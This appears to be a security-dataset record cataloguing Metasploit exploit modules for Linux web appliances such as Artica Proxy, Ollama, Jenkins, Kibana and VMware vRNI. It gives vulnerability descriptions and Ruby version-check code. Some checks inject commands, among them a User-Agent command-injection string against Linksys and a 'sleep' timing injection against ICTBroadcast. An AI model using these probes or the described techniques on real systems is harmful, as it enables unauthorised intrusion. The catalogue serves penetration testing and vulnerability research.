deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Artica Proxy Unauthenticated PHP Deserialization Vulnerability
Type: exploit
Path: modules/exploits/linux/http/artica_proxy_unauth_rce_cve_2024_2054.rb
Platform: php
Disclosure date: 2024-03-05
References: CVE-2024-2054, URL-https://attackerkb.com/topics/q1JUcEJjXZ/cve-2024-2054
Targets: PHP, Unix Command, Linux Dropper

Description:
A Command Injection vulnerability in Artica Proxy appliance version 4.50 and 4.40
          allows remote attackers to run arbitrary commands via unauthenticated HTTP request.
          The Artica Proxy administrative web application will deserialize arbitrary PHP objects
          supplied by unauthenticated users and subsequently enable code execution as the "www-data" user.

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited.")
    res = send_request_cgi!({
      'method' => 'GET',
      'ctype' => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path)
    })
    return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200

    # Check if target is an Artica Proxy appliance
    # Search for the Artica Version tag on the login page
    html = res.get_html_document
    unless html.blank?
      version_match = html.text.match(/Artica.{1,2}\d\.\d\d/)
      return CheckCode::Unknown('No Artica version found.') if version_match.nil?

      version = version_match[0].split(' ')
      if version.count > 1 && Rex::Version.new(version[1]) <= Rex::Version.new('4.50') && Rex::Version.new(version[1]) >= Rex::Version.new('4.40')
        return CheckCode::Vulnerable("Artica version: #{version[1]}")
      else
        return CheckCode::Safe("Artica version: #{version[1]}")
      end
    end
    CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/trend_micro_imsva_exec.rb
Platform: python
Disclosure date: 2017-01-15
References: CVE-2017-6398, URL-https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/

Description:
This module exploits a command injection vulnerability in the Trend Micro
          IMSVA product. An authenticated user can execute a terminal command under
          the context of the web server user which is root. Besides, default installation
          of IMSVA comes with a default administrator credentials.

          saveCert.imss endpoint takes several user inputs and performs blacklisting.
          After that it use them as argument of predefined operating system command
          without proper sanitation. However, due to improper blacklisting rule it's possible to inject
          arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue.

          This module was tested against IMSVA 9.1-1600.
Metasploit Module: Ollama Model Registry Path Traversal RCE
Type: exploit
Path: modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb
Platform: %w[linux
Disclosure date: 2024-05-05
References: CVE-2024-37032, URL-https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032

Description:
Ollama before 0.1.34 is vulnerable to a path traversal attack via the
          model pull mechanism (CVE-2024-37032). When pulling a model, the digest
          field in OCI manifests is not validated, allowing an attacker to inject
          path traversal sequences to write arbitrary files on the server.

          This module starts a rogue OCI registry that serves two models. The first
          pull writes a malicious shared library and /etc/ld.so.preload via path
          traversal (a sacrificial first layer absorbs the digest verification
          failure so the remaining files persist). The second pull registers a valid
          model so /api/chat can spawn the llama.cpp runner process, which triggers
          the dynamic linker to load the malicious library via ld.so.preload. The
          library constructor forks, cleans up ld.so.preload, and executes the
          payload in the child process.

          The default Ollama Docker image runs as root with the API bound to
          0.0.0.0:11434, making this a direct unauthenticated RCE.

Check method (fingerprinting):
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version'))
    return CheckCode::Unknown('No response from target') unless res&.code == 200

    version = res.get_json_document['version']
    return CheckCode::Unknown('Could not determine Ollama version') unless version

    return CheckCode::Safe("Ollama #{version} (patched)") unless Rex::Version.new(version) < Rex::Version.new('0.1.34')

    CheckCode::Appears("Ollama #{version} (vulnerable to path traversal)")
  end
Metasploit Module: Trend Micro Smart Protection Server Exec Remote Code Injection
Type: exploit
Path: modules/exploits/linux/http/trendmicro_sps_exec.rb
Platform: linux
Disclosure date: 2016-08-08
References: CVE-2016-6267

Description:
This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection.
          Please note: authentication is required to exploit this vulnerability.

Check method (fingerprinting):
opts = login
    if opts
      uri = target_uri.path
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"),
        'headers' =>
        {
          'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
          'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
          'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
        }
      })
      if res and res.code == 200
        version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*<td[^>]*>([^<]*)</).last.first.to_f
        build = res.body.to_s.scan(/MSG_ABOUT_BUILD <\/td>[^<]*<td[^>]*><span[^>]*>([^<]*)</).last.first.to_i(10)
        print_status("TrendMicro Smart Protection Server detected.")
        print_status("Version: #{version}")
        print_status("Build: #{build}")
        if (version == 3.0 and build < 1330) or
           (version == 2.6 and build < 2106) or
           (version == 2.5 and build < 2200)
          return Exploit::CheckCode::Vulnerable("Exploitable: version #{version} is vulnerable")
        else
          return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
        end
      end
    end
    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Linksys WVBR0-25 User-Agent Command Execution
Type: exploit
Path: modules/exploits/linux/http/linksys_wvbr0_user_agent_exec_noauth.rb
Platform: unix
Disclosure date: 2017-12-13
References: CVE-2017-17411, ZDI-17-973, URL-https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair

Description:
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie
          cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41
          of the web management portal via the User-Agent header. Authentication is not required to
          exploit this vulnerability.

Check method (fingerprinting):
check_str = rand_text_alpha(8)
    begin
      res = send_request_raw({
        'method' => 'GET',
        'uri' => '/',
        'agent' => "\"; printf \"#{check_str}"
      })
      if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))
        return Exploit::CheckCode::Vulnerable('The target is vulnerable')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: D-Link Cookie Command Execution
Type: exploit
Path: modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb
Platform: linux
Disclosure date: 2015-06-12
References: CVE-2025-34125, URL-http://web.archive.org/web/[PII_REDACTED]1424/https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110
Targets: MIPS Big Endian

Description:
This module exploits an anonymous remote upload and code execution vulnerability on different
          D-Link devices. The vulnerability is a command injection in the cookie handling process of the
          lighttpd web server when handling specially crafted cookie values. This module has been
          successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'uri' => '/',
        'method' => 'GET'
      })

      if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Jenkins CLI Deserialization
Type: exploit
Path: modules/exploits/linux/http/jenkins_cli_deserialization.rb
Platform: linux
Disclosure date: 2017-04-26
References: URL-https://www.jenkins.io/security/advisory/2017-04-26/, URL-https://ssd-disclosure.com/ssd-advisory-cloudbees-jenkins-unauthenticated-code-execution/, CVE-2[PII_REDACTED]
Targets: Linux

Description:
An unauthenticated Java object deserialization vulnerability exists
          in the CLI component for Jenkins versions `v2.56` and below.

          The `readFrom` method within the `Command` class in the Jenkins
          CLI remoting component deserializes objects received from clients without
          first checking / sanitizing the data. Because of this, a malicious serialized
          object contained within a serialized `SignedObject` can be sent to the Jenkins
          endpoint to achieve code execution on the target.

Check method (fingerprinting):
login_uri = normalize_uri(target_uri.path, 'login')
    login_res = send_request_cgi(
      'method' => 'GET',
      'uri' => login_uri
    )

    return Exploit::CheckCode::Unknown('Did not receive a response from the server') unless login_res

    /Jenkins\s+ver\.\s+(?<version>\d+(?:\.\d+)*)/ =~ login_res.body
    return Exploit::CheckCode::Safe('Version of Jenkins cannot be found.') unless version

    vers_no = Rex::Version.new(version)
    return Exploit::CheckCode::Appears("Jenkins version #{version} detected") if vers_no < Rex::Version.new('2.54')

    Exploit::CheckCode::Detected("Target detected: version #{vers_no}")
  end
Metasploit Module: Cisco Prime Infrastructure Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/cisco_prime_inf_rce.rb
Platform: linux
Disclosure date: 2018-10-04
References: CVE-2018-15379, URL-https://seclists.org/fulldisclosure/2018/Oct/19, URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-prime-infrastructure.txt, URL-https://blogs.securiteam.com/index.php/archives/3723, URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp

Description:
Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow
          an unauthenticated attacker to achieve remote code execution. The first flaw is a file
          upload vulnerability that allows the attacker to upload and execute files as the Apache
          Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions
          in a SUID binary.

          This module exploits these vulnerabilities to achieve unauthenticated remote code execution
          as root on the CPI default installation.

          This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions
          might also be affected, although 3.4.0.0.348 is the latest at the time of writing.
          The file upload vulnerability should have been fixed in versions 3.4.1 and 3.3.1 Update 02.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'swimtemp'),
      'method' => 'GET'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.code == 404 && res.body.length == 0
      # at the moment this is the best way to detect
      # a 404 in swimtemp only returns the error code with a body length of 0,
      # while a 404 to another webapp or to the root returns code plus a body with content
      return CheckCode::Detected('The target service was detected')
    end

    CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: InvoiceShelf unauthenticated PHP Deserialization Vulnerability
Type: exploit
Path: modules/exploits/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.rb
Platform: php
Disclosure date: 2024-12-13
References: CVE-2024-55556, URL-https://attackerkb.com/topics/25C8UQRPhx/cve-2024-55556, URL-https://www.synacktiv.com/advisories/crater-invoice-unauthenticated-remote-command-execution-when-appkey-known
Targets: PHP, Unix/Linux Command

Description:
InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional
          invoices & estimates and is based on the PHP framework Laravel.
          InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct
          PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default
          InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie.
          These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using
          Laravel's encrypt() function.
          An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify
          the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve
          remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable.
          As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
          potentially resulting in complete system compromise, data exfiltration, or unauthorized access
          to sensitive information.

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited.")
    res = send_request_cgi({
      'method' => 'GET',
      'ctype' => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'app', 'version')
    })
    return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200

    # check if target is running the InvoiceShelf platform
    # parse json response and get the version
    res_json = res.get_json_document
    version_number = res_json['version'] unless res_json.blank?
    return CheckCode::Safe('No InvoiceShelf platform found.') if version_number.nil?

    if Rex::Version.new(version_number) <= Rex::Version.new('1.3.0')
      return CheckCode::Appears("InvoiceShelf #{version_number}")
    end

    CheckCode::Safe("InvoiceShelf #{version_number}")
  end
Metasploit Module: Kibana Timelion Prototype Pollution RCE
Type: exploit
Path: modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb
Platform: unix
Disclosure date: 2019-10-30
References: URL-https://github.com/mpgn/CVE-2019-7609, URL-https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/, CVE-2019-7609

Description:
Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer.
          An attacker with access to the Timelion application could send a request that will attempt to execute
          javascript code. This leads to an arbitrary command execution with permissions of the
          Kibana process on the host system.

          Exploitation will require a service or system reboot to restore normal operation.

          The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells
          (50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a
          docker image caused 6 shells.

          Tested against kibana 6.5.4.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    # this pulls a big JSON blob that we need as it has the version
    unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body
      return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
    end

    version_json = CGI.unescapeHTML(Regexp.last_match(1))

    begin
      json_body = JSON.parse(version_json)
    rescue JSON::ParserError
      return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
    end

    return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil?

    @version = json_body['version']

    if Rex::Version.new(@version) < Rex::Version.new('5.6.15') ||
       (
         Rex::Version.new(@version) < Rex::Version.new('6.6.1') &&
         Rex::Version.new(@version) >= Rex::Version.new('6.0.0')
       )
      return CheckCode::Appears("Exploitable Version Detected: #{@version}")
    end

    CheckCode::Safe("Unexploitable Version Detected: #{@version}")
  end
Metasploit Module: ICTBroadcast Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
Platform: %w[unix linux
Disclosure date: 2025-03-19
References: URL-https://www.ictbroadcast.com/, CVE-2025-2611
Targets: Unix/Linux Command Shell

Description:
This module exploits an unauthenticated remote code execution (RCE) vulnerability
          in ICTBroadcast. The vulnerability exists in the way session cookies are handled
          and processed, allowing an attacker to inject arbitrary system commands.

Check method (fingerprinting):
print_status('Checking ICTBroadcast via JS fingerprints')

    fingerprint_found = %w[
      IVRDesigner.js agent.js campaign.js campaign_feedback.js
      campaign_integration.js phone.js supervisor.js trunk.js
    ].any? do |file|
      uri = normalize_uri(target_uri.path, 'js', file)
      res = send_request_cgi!('method' => 'GET', 'uri' => uri)
      res&.code == 200 && res.body.include?('ICT Innovations')
    end

    return CheckCode::Safe('The target is not vulnerable') unless fingerprint_found

    print_good('JS fingerprint found; performing timing tests')

    [3, 4, 5].sample(2).each do |t|
      start = Time.now
      inject_command("sleep #{t}")
      if Time.now - start >= (t - 0.3)
        return CheckCode::Vulnerable("Injected RCE (slept #{t}s)")
      end
    end

    CheckCode::Appears('Fingerprint present but timing did not match')
  end
Metasploit Module: VMWare Aria Operations for Networks (vRealize Network Insight) pre-authenticated RCE
Type: exploit
Path: modules/exploits/linux/http/vmware_vrni_rce_cve_2023_20887.rb
Platform: %w[unix linux
Disclosure date: 2023-06-07
References: CVE-2023-20887, URL-https://www.vmware.com/security/advisories/VMSA-2023-0012.html, URL-https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/, URL-https://github.com/sinsinology/CVE-2023-20887
Targets: Unix (In-Memory), Linux Dropper

Description:
VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection
          when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a
          remote unauthenticated attacker to execute arbitrary commands on the underlying operating system
          as the root user. The RPC interface is protected by a reverse proxy which can be bypassed.
          VMware has evaluated the severity of this issue to be in the Critical severity range with a
          maximum CVSSv3 base score of 9.8. A malicious actor can get remote code execution in the
          context of 'root' on the appliance.
          VMWare 6.x version are vulnerable.

          This module exploits the vulnerability to upload and execute payloads gaining root privileges.
          Successfully tested against version 6.8.0.

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited.")
    res = check_vrni
    return CheckCode::Unknown('No response received from the target!') unless res

    body = res.get_json_document
    if body.nil? || body['data']['productName'] != 'vRNIUI'
      return CheckCode::Safe('Target is not running VMWare Aria Operations for Networks (vRealize Network Insight).')
    end

    version = Rex::Version.new(body['data']['version'])
    return CheckCode::Vulnerable("VMWare Aria Operations for Networks (vRealize Network Insight) version #{version} was found.") if version >= Rex::Version.new('6.2') && version <= Rex::Version.new('6.10')

    CheckCode::Appears("Target is running VMWare Aria Operations for Networks (vRealize Network Insight) version #{version}")
  end
Metasploit Module: Netgear R7000 and R6400 cgi-bin Command Injection
Type: exploit
Path: modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb
Platform: linux
Disclosure date: 2016-12-06
Authors: thecarterb
References: EDB-40889, URL-http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305, US-CERT-VU-582384, URL-http://kb.netgear.com/000036386/CVE-2016-582384, CVE-2016-6277

Description:
This module exploits an arbitrary command injection vulnerability in
          Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.

Check method (fingerprinting):
res = send_request_cgi({ 'uri' => '/' })
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end
    # Checks for the `WWW-Authenticate` header in the response
    if res.headers["WWW-Authenticate"]
      data = res.to_s
      marker_one = "Basic realm=\"NETGEAR "
      marker_two = "\""
      model = scrape(data, marker_one, marker_two)
      return CheckCode::Unknown('Could not determine NETGEAR model') if model.nil?

      vprint_status("Router is a NETGEAR router (#{model})")
      if model == 'R7000' || model == 'R6400'
        print_good("Router may be vulnerable (NETGEAR #{model})")
        return CheckCode::Detected("Target detected: model #{model}")
      else
        return CheckCode::Safe("Model #{model} is not vulnerable")
      end
    else
      print_error('Router is not a NETGEAR router')
      return CheckCode::Safe('NETGEAR router not detected')
    end
  end
Metasploit Module: Mailcleaner Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/mailcleaner_exec.rb
Platform: python
Disclosure date: 2018-12-19
References: URL-https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/, CVE-2018-20323
Targets: Python payload, Command payload

Description:
This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an
          operating system command under the context of the web server user which is root.

          /admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
          operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.